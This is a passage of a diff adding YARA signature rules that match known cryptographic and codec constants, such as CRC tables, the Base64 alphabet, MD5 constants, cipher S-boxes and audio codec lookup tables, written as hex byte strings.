+	$a0 = { FF8DFF9DFFB7FFD3FFE5FFEFFFF7FFFBFFFDFFFF007700670076FFFF00570075FFFDFFFF00660047FFFF00740065FFFDFFFF00560037FFFDFFFF007300550027FFF9FFFDFFFF00720046FFFF00640017FFFBFFFF0071FFFF00070070FFFF00360063FFF3FFF7FFFDFFFF00450054FFFF0044FFFF00060005FFFF00260062FFFBFFFF0061FFFF00160060FFFDFFFF00350053FFFF00250052FFEFFFF9FFFDFFFF00150051FFFF00340043FFFBFFFDFFFF005000040024FFFF00420014FFFDFFFF00330041FFFF00230032FFF5FFF9FFFBFFFDFFFF0040000300300013FFFF00310022FFFF00120021FFF9FFFBFFFDFFFF0002002000000011FFFF00010010 }
+
+condition:
+	$a0
+}
+
+	
+rule PKCS_DigestDecoration_MD5__8_byt_18_
+{
+strings:
+	$a0 = { 3020300c06082a864886f70d020505000410 }
+
+condition:
+	$a0
+}
+
+	
+rule ACSS_decryption_sbox__32_big_1024_
+{
+strings:
+	$a0 = { 00000033000000730000003b0000002600000063000000230000006b000000760000003e0000007e000000360000002b0000006e0000002e000000660000007b000000d300000093000000db0000000600000043000000030000004b00000096000000de0000009e000000d60000000b0000004e0000000e000000460000009b00000057000000170000005f00000082000000c700000087000000cf000000120000005a0000001a000000520000008f000000ca0000008a000000c20000001f000000d900000099000000d10000000000000049000000090000004100000090000000d800000098000000d000000001000000480000000800000040000000910000003d0000007d00000035000000240000006d0000002d00000065000000740000003c0000007c00000034000000250000006c0000002c0000006400000075000000dd0000009d000000d5000000040000004d0000000d0000004500000094000000dc0000009c000000d4000000050000004c0000000c000000440000009500000059000000190000005100000080000000c900000089000000c10000001000000058000000180000005000000081000000c800000088000000c000000011000000d700000097000000df0000000200000047000000070000004f00000092000000da0000009a000000d20000000f0000004a0000000a000000420000009f00000053000000130000005b00000086000000c300000083000000cb000000160000005e0000001e000000560000008b000000ce0000008e000000c60000001b000000b3000000f3000000bb000000a6000000e3000000a3000000eb000000f6000000be000000fe000000b6000000ab000000ee000000ae000000e6000000fb00000037000000770000003f0000002200000067000000270000006f000000720000003a0000007a000000320000002f0000006a0000002a000000620000007f000000b9000000f9000000b1000000a0000000e9000000a9000000e1000000f0000000b8000000f8000000b0000000a1000000e8000000a8000000e0000000f10000005d0000001d0000005500000084000000cd0000008d000000c5000000140000005c0000001c0000005400000085000000cc0000008c000000c400000015000000bd000000fd000000b5000000a4000000ed000000ad000000e5000000f4000000bc000000fc000000b4000000a5000000ec000000ac000000e4000000f500000039000000790000003100000020000000690000002900000061000000700000003800000078000000300000002100000068000000280000006000000071000000b7000000f7000000bf000000a2000000e7000000a7000000ef000000f2000000ba000000fa000000b2000000af000000ea000000aa000000e2000000ff }
+
+condition:
+	$a0
+}
+
+	
+rule SOSEMANUK_mul_ia__32_big_1024_
+{
+strings:
+	$a0 = { 00000000180f40cd301e80332811c0fe603ca9667833e9ab50222955482d6998c078fbccd877bb01f0667bffe8693b32a04452aab84b1267905ad2998855925429f05f3131ff1ffc19eedf0201e19fcf49ccf65751c3b69a79d2766461dd36a9e988a4fdf187e430d99624cec199640389b40d9b91bb4d56b9aa8da8a1a5cd655249be624a46feaf62573e517a587e9c327517042a7a57c9026b97371a64d7fa923145ae8a3e0563a22fc59dba208550f20decc8ea02ac05c2136cfbda1c2c367bb9e15363b6a19e4ba7616053a821ad1b854835038a08f82b9bc806339488cbbbc11a9fa3ce5a528bdf9aac93d0da61dbfdb3f9c3f2f334ebe333caf3ec7307a492d5c4bc9d9509948c55f78c83153ac4ae7ca2dca13c6ff4b0fc91ecbfbc5c64ea2e087ce56ec554f4ae3b4cfbeef604d6876e1cd9c7a334c8075d2cc747908d628af5956dca38bd7c0ac6a5734a0bed5e2393f551635edd40a3a0c54fe36d4d1a7139551531f47d04f10a650bb1c72d26d85f352998921d38586c053718a1f6db6ba6eed42b6bc6c5eb95decaab5896e7c2c08ee8820da6f942f3bef6023e36a3906a2eacd0a706bd10591eb25094569f390c4e9079c16681b93f7e8ef9f2df2b3497c724745aef35b4a4f73af469bf179df1a718dd3c8f091dc297065d0f1f53cf5b075c8f962f4d4f6837420fa57f6f663d676026f04f71e60e577ea6c3e18d0321f98243ecd1938312c99cc3df81b1aa4799beea8ab1af2a74a9a06ab921f5f8ed39fab82011eb78de09e4381341c9518b59c6114671d7d1b869d89175c87d5c10d0721cddf863dc23e06c9ceea841f576b04eb5bb985f7545805035880805a7dc100ae711381b27ef2014672268390eba70364e7758278e894028ce44b3c4bd43abcbfd8e83da3d709bd57dbdd3f81425cbf754e8e3e69416fbe9d4db73bc468f6bb3064243a2c6bc5bad86711380efe90b8faf24239e6fda3b912f179a34e272823ba2bfaa2a6241b225228cfa084b14e2070bd9ca16cb27d2198bea5a4c19be424359736a52998d725dd9403a70b0d8227ff0150a6e30eb12617026451fd6e55d109628750156d66d0e161b25237f833d2c3f4e153dffb00d32bf7d85672d299d686de4b579ad1aad76edd7e55b844ffd54c482d545047ccd4a44b16cef89d474e0c9195cf109e744fe492a0cd320b214dc607f3ccda08124c2e04cac977218b49832d59c89f22b8486b2e6ccabdb7ed4a49bb3fcb55b4de4ba1b80175668870f59284a2748e8b43f47a879776ac1e16f65812c477441d25f7b011fd72e934bcf21d386e7301378ff3f53b5b7123a2daf1d7ae0870cba1e9f03fad33ea637b626a9777b0eb8b78516b7f7485e9a9ed04695de1d6e841ee3768b5e2efedecc7ae6d18cb7cec04c49d6cf0c849ee2651c86ed25d1aefce52fb6f3a5e2 }
+
+condition:
+	$a0
+}
+
+	
+rule EC_curve__EC_X9_62_CHAR2_239V1_SEED__8_byt_20_
+{
+strings:
+	$a0 = { d34b9a4d696e676875615175ca71b920bfefb05d }
+
+condition:
+	$a0
+}
+
+	
+rule Yamaha_ADPCM_diff_lookup_table__32_big_64_
+{
+strings:
+	$a0 = { 00000001000000030000000500000007000000090000000B0000000D0000000FFFFFFFFFFFFFFFFDFFFFFFFBFFFFFFF9FFFFFFF7FFFFFFF5FFFFFFF3FFFFFFF1 }
+
+condition:
+	$a0
+}
+
+	
+rule Erlang__32_big_AND_
+{
+strings:
+	$a0 = { 9e3779b9[0-20]3c6ef372[0-20]daa66d2b[0-20]78dde6e4[0-20]1715609d[0-20]b54cda56[0-20]5384540f[0-20]f1bbcdc8[0-20]8ff34781[0-20]2e2ac13a[0-20]cc623af3[0-20]6a99b4ac[0-20]08d12e65[0-20]a708a81e[0-20]454021d7 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC32_poly_0x1800063__32_big_refl_True_
+{
+strings:
+	$a0 = { 00000000018c000303180006029400050630000c07bc000f0528000a04a400090c6000180dec001b0f78001e0ef4001d0a5000140bdc00170948001208c4001118c00030194c00331bd800361a5400351ef0003c1f7c003f1de8003a1c64003914a00028152c002b17b8002e1634002d12900024131c0027118800221004002131800060300c0063329800663314006537b0006c363c006f34a8006a352400693de000783c6c007b3ef8007e3f74007d3bd000743a5c007738c80072394400712940005028cc00532a5800562bd400552f70005c2efc005f2c68005a2de400592520004824ac004b2638004e27b4004d23100044229c00472008004221840041630000c0628c00c3601800c6619400c5653000cc64bc00cf662800ca67a400c96f6000d86eec00db6c7800de6df400dd695000d468dc00d76a4800d26bc400d17bc000f07a4c00f378d800f6795400f57df000fc7c7c00ff7ee800fa7f6400f977a000e8762c00eb74b800ee753400ed719000e4701c00e7728800e2730400e1528000a0530c00a3519800a6501400a554b000ac553c00af57a800aa562400a95ee000b85f6c00bb5df800be5c7400bd58d000b4595c00b75bc800b25a4400b14a4000904bcc00934958009648d400954c70009c4dfc009f4f68009a4ee400994620008847ac008b4538008e44b4008d40100084419c00874308008242840081c6000180c78c0183c5180186c4940185c030018cc1bc018fc328018ac2a40189ca600198cbec019bc978019ec8f4019dcc500194cddc0197cf480192cec40191dec001b0df4c01b3ddd801b6dc5401b5d8f001bcd97c01bfdbe801bada6401b9d2a001a8d32c01abd1b801aed03401add49001a4d51c01a7d78801a2d60401a1f78001e0f60c01e3f49801e6f51401e5f1b001ecf03c01eff2a801eaf32401e9fbe001f8fa6c01fbf8f801fef97401fdfdd001f4fc5c01f7fec801f2ff4401f1ef4001d0eecc01d3ec5801d6edd401d5e97001dce8fc01dfea6801daebe401d9e32001c8e2ac01cbe03801cee1b401cde51001c4e49c01c7e60801c2e78401c1a5000140a48c0143a6180146a7940145a330014ca2bc014fa028014aa1a40149a9600158a8ec015baa78015eabf4015daf500154aedc0157ac480152adc40151bdc00170bc4c0173bed80176bf540175bbf0017cba7c017fb8e8017ab9640179b1a00168b02c016bb2b8016eb334016db7900164b61c0167b4880162b504016194800120950c0123979801269614012592b0012c933c012f91a8012a9024012998e00138996c013b9bf8013e9a74013d9ed001349f5c01379dc801329c4401318c4001108dcc01138f5801168ed401158a70011c8bfc011f8968011a88e401198020010881ac010b8338010e82b4010d86100104879c01078508010284840101 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_32_IEEE_802_3_poly_0xEDB88320__32_lil_refl_False_
+{
+strings:
+	$a0 = { 000000002083b8ed6085c936400671dbc00a936de0892b80a08f5a5b800ce2b6801526dba0969e36e090efedc0135700401fb5b6609c0d5b209a7c800019c46d20a8f45b002b4cb6402d3d6d60ae8580e0a26736c021dfdb8027ae00a0a416eda0bdd280803e6a6dc0381bb6e0bba35b60b741ed4034f900003288db20b130364050e9b760d3515a20d520810056986c805a7adaa0d9c237e0dfb3ecc05c0b01c045cf6ce0c67781a0c0065a8043beb7004f5c0120cce4ec60ca953740492dda60f81dec407ba501007dd4da20fe6c37a0f28e818071366cc07747b7e0f4ff5ae0ed3b37c06e83da8068f201a0eb4aec20e7a85a006410b74062616c60e1d981a0236a8280a0d26fc0a6a3b4e0251b596029f9ef40aa410200ac30d9202f883420364c5900b5f4b440b3856f60303d82e03cdf34c0bf67d980b91602a03aaeef808b9ed9a0082634e00e57efc08def0240810db46002b5592004c48200877c6f009eb802201d00ef601b71344098c9d9c0942b6fe0179382a011e25980925ab4e0738335c0f03bd880f64a03a075f2ee2079105800faa8b540fcd96e607f61836066a5ee40e51d0300e36cd82060d435a06c368380ef8e6ec0e9ffb5e06a4758c0db776ee058cf83a05ebe5880dd06b500d1e40320525cee60542d3540d795d840ce51b5604de958204b988300c8206e80c4c2d8a0477a35e0410beec0c2b30360c46ce94047d4040041a5df20c21d32a0ceff84804d4769c04b36b2e0c88e5fe0d14a32c052f2df80548304a0d73be920dbd95f005861b2405e106960dda884406c98b260ef205f20e95184006ae96980660bdfa0e5b332e0e3c2e9c0607a04c079be69e0fa0684a0fc775f807fcfb200732d0420f095e960f6e43240755cdf2094855e00173db340114c686092f485e09e1633c01daede801bdf05a09867e8a081a38580021b68c0046ab3e087d25e608b30e840088805000ef9de208d4133003c710520bfc9e860b9b833403a00dec036e268e0b55a85a0b32b5e803093b3802957dea0aaef33e0ac9ee8c02f26054023c4b360a07c5e20a60d850025b568c0e7066be064be86a062cf5d80e177b000ed9506206e2deb60685c3040ebe4dd40f220b06071985d2077e98600f4516b80f8b3dda07b0b30e07d7aebc0fec206e04ff230c0cc4add80ca3b06a04983eb2045615d00c6d9b040c0a86b60431086605ad4eb40d96c0600df1ddd205ca530a050478680d3ff6bc0d58eb0e056365d80b7efdca0345731e03226eac0b19e0740bd7cb1603ec45c2038b58700bb0d6a00a2c907202171ea6027003140a4b8dcc0a85a6ae02be287a02d935c80ae2bb1a01f1b87809ca36ac09ad2b1e0196a5c601588ea40963007009041dc2013f931200a3d5c008985b1408ff46a600c4c87e000ae31c08316dc80856707a006dfea }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_COOK_cvh_huffcodes4__16_big_492_
+{
+strings:
+	$a0 = { 00000004006c03e600050012006d03e7006e00e803e83fc407e007e17fa47fa50006001301e20fda0014001500e90fdb00ea006f03e97fa607e207e37fa77fa8007001e30fdc7fa900eb00ec0fdd7faa03ea03eb1fd67fab3fc53fc67fac1fd607e41fd77fad7fae07e51fd87faf7fb03fc77fb17fb21fd67fb37fb41fd61fd60007001601e41fd90017003201e51fda01e601e707e67fb53fc81fdb7fb67fb70008003301e80fde0018003401e91fdc01ea00ed07e77fb81fdd0fdf7fb97fba007101eb0fe07fbb007200ee07e87fbc03ec03ed3fc97fbd3fca7fbe7fbf3fc903ee0fe17fc07fc107e91fde7fc27fc37fc47fc57fc63fc97fc77fc83fc93fc9003501ec1fdf3fcb00ef01ed0fe27fc90fe30fe47fca7fcb7fcc7fcd7fce7fca007301ee1fe07fcf00f001ef0fe57fd007ea0fe67fd17fd27fd37fd47fd57fd101f007eb7fd67fd701f107ec7fd87fd93fcc3fcd7fda7fda7fdb7fdc7fda7fda3fce7fdd7fde7fd63fcf7fdf7fe07fd87fe17fe27fda7fda3fcc3fcd7fda7fda01f20fe77fe37fe40fe81fe17fe57fe67fe77fe87fe97fca7fea7feb7fca7fca03ef0fe97fec7fed0fea3fd07fee7fef7ff07ff17ff27fd17ff37ff47fd17fd13fd17ff57ff67fd67ff77ff87ff97fd87ffa7ffb7fda7fda3fcc3fcd7fda7fda7ffc7ffd7fd67fd67ffe7fff }
+
+condition:
+	$a0
+}
+
+	
+rule OpenSSL_DSAgen__8_byt_19_
+{
+strings:
+	$a0 = { d5014e4b60ef2ba8b6211b4062ba3224e0427d }
+
+condition:
+	$a0
+}
+
+	
+rule B64EncodeTable__8_byt_ASC_64_
+{
+strings:
+	$a0 = { 4142434445464748494a4b4c4d4e4f505152535455565758595a6162636465666768696a6b6c6d6e6f707172737475767778797a303132333435363738392b2f }
+
+condition:
+	$a0
+}
+
+	
+rule sfb_32_1024__16_big_102_
+{
+strings:
+	$a0 = { 00040008000c001000140018001c0020002400280030003800400048005000580060006c00780084009000a000b000c400d800f00108012401400160018001a001c001e00200022002400260028002a002c002e00300032003400360038003a003c003e00400 }
+
+condition:
+	$a0
+}
+
+	
+rule Misty_md5const__32_lil_256_
+{
+strings:
+	$a0 = { 78a46ad756b7c7e8db702024eecebdc1af0f7cf52ac68747134630a8019546fdd8988069aff7448bb15bffffbed75c892211906b937198fd8e4379a62108b44962251ef640b340c0515a5e26aac7b6e95d102fd65314440281e6a1d8c8fbd3e7e6cde121d60737c3870dd5f4ed145a4505e9e3a9f8a3effcd9026f678a4c2a8d4239faff81f6718722619d6d0c38e5fd44eabea4a9cfde4b604bbbf670bcbfbec67e9b28fa27a1ea8530efd4051d880439d0d4d9e599dbe6f87ca21f6556acc4442229f497ff2a43a72394ab39a093fcc3595b6592cc0c8f7df4efffd15d84854f7ea86fe0e62cfe144301a3a111084e827e53f735f23abdbbd2d72a91d386eb }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_16_CCITT_poly_0x8408__16_big_refl_True_
+{
+strings:
+	$a0 = { 000017ce0fdf18111fbe0870106107af1f3f08f110e0072e0081174f0f5e18901e3d09f311e2062c0183164d0e5c1992010216cc0edd19131ebc0972116306ad1c390bf713e60428038714490c581b96030614c80cd91b171cb80b76136704a9020415ca0ddb1a151dba0a74126505ab1d3b0af512e4052a0285154b0d5a1a9418310fff17ee0020078f104108501f9e070e10c008d11f1f18b00f7e176f00a1060c11c209d31e1d19b20e7c166d01a319330efd16ec0122068d114309521e9c040813c60bd71c191bb60c78146903a71b370cf914e80326048913470b561c981a350dfb15ea0224058b12450a541d9a050a12c40ad51d1b1ab40d7a156b02a5102107ef1ffe08300f9f18510040178e0f1e18d000c1170f10a0076e1f7f08b10e1c19d201c3160d11a2066c1e7d09b3112306ed1efc09320e9d19530142168c0c181bd603c7140913a604681c790bb7132704e91cf80b360c991b5703461488122505eb1dfa0a340d9b1a550244158a0d1a1ad402c5150b12a4056a1d7b0ab508101fde07cf100117ae006018710fbf172f00e118f00f3e08911f5f074e1080162d01e319f20e3c09931e5d064c118209121edc06cd110316ac016219730ebd142903e71bf60c380b971c59044813860b161cd804c9130714a803661b770cb90a141dda05cb120515aa02641a750dbb152b02e51af40d3a0a951d5b054a1284 }
+
+condition:
+	$a0
+}
+
+	
+rule LD_CELP_G_728_cb_gain_sq__flt32___32_big_32_
+{
+strings:
+	$a0 = { 3e8820003f507100401f968440f45e7a3e8820003f507100401f968440f45e7a }
+
+condition:
+	$a0
+}
+
+	
+rule Dolby_window_dolby_win_256__flt32___32_big_1024_
+{
+strings:
+	$a0 = { 3a1962f13a7cc35f3ab1b5cc3ae8f06f3b127d543b3330c43b56c7f93b7d70d93b93aacc3baa4f3c3bc2b9583bdcfc703bf92ba83c0bad053c1bcd483c2d00123c3f4ed33c52c2f33c6765d23c7d40c33c8a2e873c9661f43ca33f3c3cb0cae43cbf09673ccdff323cddb0a13cee22003cff57873d08aaac3d120fc13d1bdcfc3d26144b3d30b78f3d3bc8973d4749273d533af03d5f9f923d6c789d3d79c78d3d83c6e63d8ae6563d9242b83d99dca03da1b49a3da9cb233db220ae3dbab5a33dc38a5b3dcc9f253dd5f4413ddf89e23de9602f3df377403dfdcf203e0433e53e09a0973e0f2d953e14dac83e1aa8113e20954a3e26a2453e2ccecc3e331aa43e3985883e400f2c3e46b73d3e4d7d603e5461333e5b624c3e62803a3e69ba853e7110ac3e7882283e8007363e83da723e87ba783e8ba6f83e8f9f9d3e93a40f3e97b3f33e9bceea3e9ff4933ea4248a3ea85e673eaca1c13eb0ee2a3eb543353eb9a06e3ebe05633ec2719c3ec6e4a23ecb5dfb3ecfdd2a3ed461b23ed8eb133edd78cd3ee20a5c3ee69f3f3eeb36f03eefd0ea3ef46ca73ef909a13efda7503f0122973f0371593f05bfaa3f080d473f0a59ed3f0ca5573f0eef443f1137703f137d993f15c17d3f1802dc3f1a41753f1c7d083f1eb5573f20ea233f231b303f2548423f27711e3f29958a3f2bb54e3f2dd0323f2fe6013f31f6853f34018e3f3606e73f3806633f39ffd23f3bf3073f3ddfd93f3fc61d3f41a5ac3f437e613f4550183f471aae3f48de053f4a99fe3f4c4e7d3f4dfb683f4fa0a73f513e243f52d3cb3f54618a3f55e7513f5765133f58dac33f5a48583f5badca3f5d0b133f5e60303f5fad1f3f60f1e03f622e763f6362e43f648f303f65b3633f66cf863f67e3a53f68efcc3f69f40b3f6af0733f6be5153f6cd2063f6db75a3f6e95293f6f6b8a3f703a983f71026c3f71c3233f727cdb3f732fb03f73dbc43f7481353f7520253f75b8b73f764b0c3f76d7483f775d903f77de073f7858d43f78ce1b3f793e023f79a8b03f7a0e4b3f7a6ef93f7acae13f7b22293f7b74f83f7bc3753f7c0dc53f7c540e3f7c96773f7cd5243f7d103b3f7d47e03f7d7c373f7dad633f7ddb883f7e06c73f7e2f433f7e551c3f7e78723f7e99643f7eb8123f7ed4993f7eef163f7f07a53f7f1e613f7f33653f7f46ca3f7f58a93f7f69193f7f78323f7f86083f7f92b13f7f9e423f7fa8cc3f7fb2633f7fbb173f7fc2fa3f7fca1b3f7fd0893f7fd6523f7fdb833f7fe0283f7fe44e3f7fe8003f7feb473f7fee2e3f7ff0bd3f7ff2fc3f7ff4f53f7ff6ad3f7ff82c3f7ff9773f7ffa943f7ffb883f7ffc593f7ffd093f7ffd9e3f7ffe1b3f7ffe823f7ffed83f7fff1d3f7fff563f7fff833f7fffa63f7fffc13f7fffd63f7fffe63f7ffff13f7ffff83f7ffffd }
+
+condition:
+	$a0
+}
+
+	
+rule LD_CELP_G_728_shzscale_and_shpscale__flt64___64_lil_176_
+{
+strings:
+	$a0 = { 000000000000f03f0000000000cde43f00000000000adb3f000000000093d13f0000000000dac63f0000000000b4bd3f000000000050b33f000000000018a93f000000000050a03f000000000030953f0000000000a08b3f000000000000f03f000000000000e83f000000000000e23f000000000000db3f000000000040d43f000000000060ce3f0000000000c8c63f000000000016c13f0000000000a0b93f000000000038b33f0000000000d8ac3f }
+
+condition:
+	$a0
+}
+
+	
+rule psymodel_table3__flt64___64_big_112_
+{
+strings:
+	$a0 = { 40162892800000004015061cc00000004013f28e000000004012179e80000000401068e800000000400c3e4a8000000040084e23800000004004ea8d400000004001fff0400000003ffefabe400000003ffaa8ed800000003ff6f14c200000003ff3be52a00000003ff13f6c00000000 }
+
+condition:
+	$a0
+}
+
+	
+rule Melp_fsvq_cb__flt64___64_lil_8192_
+{
+strings:
+	$a0 = { 8f8cd5e6ff55ea3f87a5811fd5f0f73f213d450e11b7e23fba1281ea1f04f53f95f0845e7f12eb3f7de6ac4f39a6e33f276a696e85b0e33fbfb9bf7adc37ec3f22dfa5d425a3f33fc558a65f22deec3fd50968226cf8f33f49d576137c53f03f7d76c075c58ce03fef90628044d3f73f0aa1832ee1d0e43f04e44ba8e0f0e63fcd8fbfb4a8cfe43f100874266d2af43fcefe40b96ddfeb3f6abddf68c70ded3fe2cad93ba3adf23fbbd408fd4c7df73fc8b60c384bc9e73f09336dffcacae63fa3c9c5185807f93f84674293c412e73fe753c72aa5e7e03f70952710760ae53f12876c205d6ce83f0fd6ff39cc17eb3f71c971a774b0f03f1d3d7e6fd31ff93fcadde7f86871dc3f0612143fc6dced3f1cd0d2156c63f33fe449d235936fe53f637fd93d79d8ed3f9c6c0377a0cee93f8751103cbe3ded3fda571ea4a7c8eb3fae62f19bc24ae83f1a6f2bbd369bf03f5ebd8a8c0e08f23f978fa4a48721f23f7138f3ab3940e93fde567a6d36d6e93fb4aa251de5e0f03f5725917d9065ee3f3e93fdf33420f03feaea8ec536e9f13fdaacfa5c6d45ef3f8505f7031e18f23fffe6c589afb6f03f7689eaad81edf63f4a404cc2853cea3f0e68e90ab691e03f0c3f389f3ad6ed3f6cd097defedcee3f2bda1ce73661ec3f5f27f56569a7ec3fb9a640666751e53f287ff78e1ad3f53f5ce674594c6cf13f1aa6b6d441deec3ffb761211fec5f13fa0c1a6cea362ef3f7b8670ccb2a7ed3f37c5e3a25ac4eb3f4f22c2bf089aed3ff19f6ea0c03bed3f4a5e9d634076ef3f1497e315885ef73f46cd57c9c76ee73f228e75711b8ded3f53cc41d0d16af13feacda8f92a79ee3f6f83da6fed44e93f0b7e1b62bc66f03fa583f57f0ef3ec3f8e5c37a5bc56eb3f55302aa91350e63f48de3994a16afa3f4d4a41b79734e03fa7caf78c44e8e93f12178046e9d2f13fa45016bebe56f13ffa804067d226e43f5169c4cc3e8fef3fe17a14ae47e1eb3f8065a54929e8ef3f1f2c634337fbe73f9dd66d50fbadf53f580053060e68e73f5aa0dd21c580f43f4cdf6b088e4bf13fd44334ba8398f03fdc662ac423f1e73fde921cb0ab49ea3fdcd9571ea427ec3ff931e6ae25e4ee3fb7ef517fbd42ef3f4a9baa7b641300401a355f251fbbe73fc4ec65db696be33f28d6a9f23da3e43f460c3b8c49ffe53f4df8a57ede54e83f4e61a5828aaaea3f9b92acc3d1d5eb3f5b79c9ffe4efe93f626a4b1de475e23f904b1c792072f83f13656f29e70be53f52b9895a9a1bf03faf27ba2efca0f33f11e335afea2ce93f58e36c3a02b8ef3fbbd573d2fb46ea3f8869dfdc5f3df03fa6b73f170d19ec3fe3344415fe8ce03fac6f6072a388f33f8b5242b0aa5eec3ff47002d3695def3fe94317d4b74cec3f0c59ddea39a9f03f1616dc0f7860ee3f490f43ab9333ec3fc7bb2363b5f9f53fed461ff30181ec3f7fa1478c9edbe43f2429e96168b5f13f4f58e2016553ec3f581b6327bc44f53fd13c80457efdf13ff1457bbc900ee43f70067fbf982df43f25e82ff48851ea3fe2e995b20cf1ee3fd9ea724a40cce93f9b38b9dfa1a8e33fc2a38d23d6e2f63fccf10a444fcaec3fa1f7c610001ceb3f8925e5ee73fce33f33a6608db3e9f43fac38d55a98c5f53f6e8ac745b588e73fcdcd37a27b56eb3f8ca03193a897e53f37a8fdd64e94ea3fc4245cc823f8f53f05871744a426e93f00ac8e1ce98ce73f8e3ba583f5ffee3ff52c08e57d9cf13f40be840a0eafed3f95b9f946744fe73fd9b0a6b228acf43faea069899551ec3fb85851836958f13f3a048e041a2cf63fc03e3a75e5b3dc3fe5efde5163c2f43feb025e66d8a8e83f9221c7d63304e73f4d0f0a4ad14af13f8d261763601ded3fc79fa86c58d3ea3f348639419b1ced3f82700514eae9f33fc24b70ea0389f23fed0e290648b4e33fe9f2e670adb6f23ff5f3a6221586f03f23128596757fed3f54abafae0a54ed3f32aeb8382af7f03f7f87a2409fc8ea3f1e537765178ce83fcea623809b05f53f61c614ac7176f53f87fe092e56d4de3f4f5b238271f0e53f10cafb389a63f13fb9fb1c1f2d0ef03f44c18c295863e83f3d9aeac9fca3ea3f253d0cad4e4ef13fde019eb47059ed3fb8955e9b8dd5f63fc097c28366d7ed3f4dd9e9077511e33fa75ce15d2ee2e43f36e84b6f7f2ef13f587380608e1eeb3f66f4a3e19439f43f90f8156bb8c8ec3f6b0bcf4bc5c6ec3fb1524145d5afee3f520ababda471f03f889e94490d6df33f525f96766aaeec3f5e6397a8de1aef3f7b13437232f1ea3f4a0d6d0036a0e73f406b7efca5c5f03f35272f32013ff13f2a1a6b7f677bee3f774b72c0aee6f03f739eb12fd978ee3f55db4df04d93f13f27fa7c941117e63fd386c3d2c0cff23f33ddeba4be2ced3f9d84d21742ceee3f95eeaeb3217feb3f6d1b4641f038f23f917bbaba6331f13fdae4f0492792ed3f5b22179cc1dfec3f1f85eb51b89ef23f8f17d2e1214cf23fa5315a475513ea3fd0b87020248bed3f60ac6f607223ef3f745df8c1f994f13ff54c2f3196e9ee3f6b11514cde00ef3fca4e3fa88b94ec3f5ff0694e5e24f23f53b0c6d974c4f13fe8db82a5ba00e63f4f5ab8acc266e93f9430d3f6af6cf03f97ff907efb3af13f711fb935e9f6f23ff549eeb0894cea3f4240be840a0eeb3f99f38c7dc946f13f2cb7b41a12f7e33fd00eb8ae9851f43f1a6f2bbd361be73f6c5ed5592db0ef3f13622ea9daeef23f1e6cb1db6795f23f1cd13deb1aade53f99ba2bbb6030f33fa9f92af9d8ddec3ffa4674cfba46ec3f340f60915fbfe23fddcf29c8cf06f33f64027e8d2441ec3fc97553ca6b25f23f2aa8a8fa95ceec3f50e108522936f43fbebd6bd097deef3f2c2ae274922df03f9929adbf2500ed3f21904b1c79a0eb3f4e9a0645f300e63fed0f94dbf6fdf83fb4b0a71dfe1aea3f336abe4a3e76e63f406b7efca545e93f2bbf0cc68844f33fd1747632384aea3fdc7ef964c5b0f23f1f1329cde671ec3fa2b8e34d7e8beb3f577bd80b056cee3f82c8224dbc43f53ff913950d6b2ae63fb7d4415e0f26e83fb745990d3289f13f98defe5c3424f73f704221020e21ee3f80f3e2c457bbe63fc04010204347e93f4e4354e1cf70ea3ff33ae2900da4e03ff4160fef39b0f43fa088450c3b0cee3f471cb28174b1ef3f6e14596b28b5ec3f8d7f9f71e140ed3fd74b530438bdf53f0bd5cdc5df76ee3f0247020d36f5ed3fd1cabdc0acd0ea3fddd3d51d8b6de53f6555849b8caaf43f9468c9e369f9e73f0f9bc8cc05aef23ff17f4754a8aef03f1901158e2015e73fac1bef8e8c15f03f915f3fc4060bf43f2e1f49490f43ec3f7bbb25396057eb3f86ff740305dedf3fea92718c648ff33fef75525f9676f63fec6d3315e291e93f49dbf813958de93f30f0dc7bb864e93f4d1421753b3bf43f5c0531d0b5afee3faa8251499d00eb3ffed2a23ec91ded3ff0bf95ecd888ec3f836beee87f79f53f8fa50f5d505fe83fd34ecde50643e83f7364e597c198ef3f844a5cc7b822f03fe42d573f3609f63f734bab21710feb3f223999b85510eb3f72a774b0fe4fea3fee77280af4c9f23f17b9a7ab3b16dd3f5e4d9eb29aaedb3fae9b525e2b21e63f7ec51a2e720ff13f57957d57047fec3f0d501a6a1412eb3fd3669c86a802f23f0b410e4a9869f53fe28fa2cedc43f33fb3b3e89d0ab8f93f50508a56ee05e63fcf4a5af10d05e03f44dfddca129df43ff982161230bae53fd90a9a965899e53f7cd11e2fa4c3f03f412c9b392435f03fd8463cd9cd8cee3fa94a5b5ce3b3e93f603dee5badd3fb3fc18c2958e36ced3f889fff1ebc76e43fdc4b1aa375d4e83fb6f81400e359f03f5b99f04bfdbcef3f37363b527d67ec3fb894f3c5de0bec3f567daeb6627fe93ff69b89e942ace83fa6457d923becf93f007157af2263f33fde7360394286e33f21c9acdee1f6f53fa3224e27d9eaf03f5ed5592db0c7e33f88ba0f406a93e43f632afd84b35be53f645930f14751e53f6362f3716da8e53f63096b63ec84f33f2d7b12d89c03eb3f5a4b0169ff43f03f0e85cfd6c1c1eb3fec12d55b031bf03f874d64e60217ee3f3293a8177c9aec3fed116a8654d1ee3f234c512e8d5fe73fdbbfb2d2a494f43fdcb75a272e07f43f8237a4518113f03f319a95ed43dee83f39252026e142f33fbadbf5d21401e53fd690b8c7d207e53fdbc35e2860bbf33f255af2785afeeb3fa27f828b15b5f13f91ed7c3f355eeb3f2593533bc394f53f86a92d759057e93f040473f4f87df03f607825c9737de83f88f546ad303df03f7ff964c570b5f03f16da39cd02ede73f2b685a6265f4f43fcd22145b4153eb3fbb641c23d923e73fb4acfbc74234f43f97e13fdd40c1f13f48179b560a81e53fda756f4562c2f13f130ebdc5c37bea3f7dcd72d9e85cf43f355d4f745d78e53f0400c79e3d17f13f0f2bdcf29114e83f87f8872d3d1aec3f50c3b7b06ebcf13fa06f0b96ea02f43f4ed367075cd7e33fcb660e492d14e83f38143e5b0707f73f088ecbb8a981ec3fd044d8f0f44af03f66c0594a9693e73fe411dc48d922ed3fda3c0e83f92beb3f8330b77bb98ff33f205f42058757f13f14596b28b517e43f97715303cd67f23f83c2a04ca309f63f9ca564390925e93fe09c11a5bdc1e53f8ac91b60e6bbec3fcfd8976c3c58eb3f65a54929e876ed3f1e51a1bab938f53fec17ec866d0bfb3f626534f27905f33f00c45dbd8a0ce33fbf654e97c544e33f84d4edec2b0fe43fe71c3c139aa4e53f8f6cae9ae788ea3f1d93c5fd4726e93f7c5f5caad296e93fe04db7ec10fff73f2b1895d40968f63f392ba226fafce43f56bc9179e48fec3f9faa4203b16cf13f3dbb7ce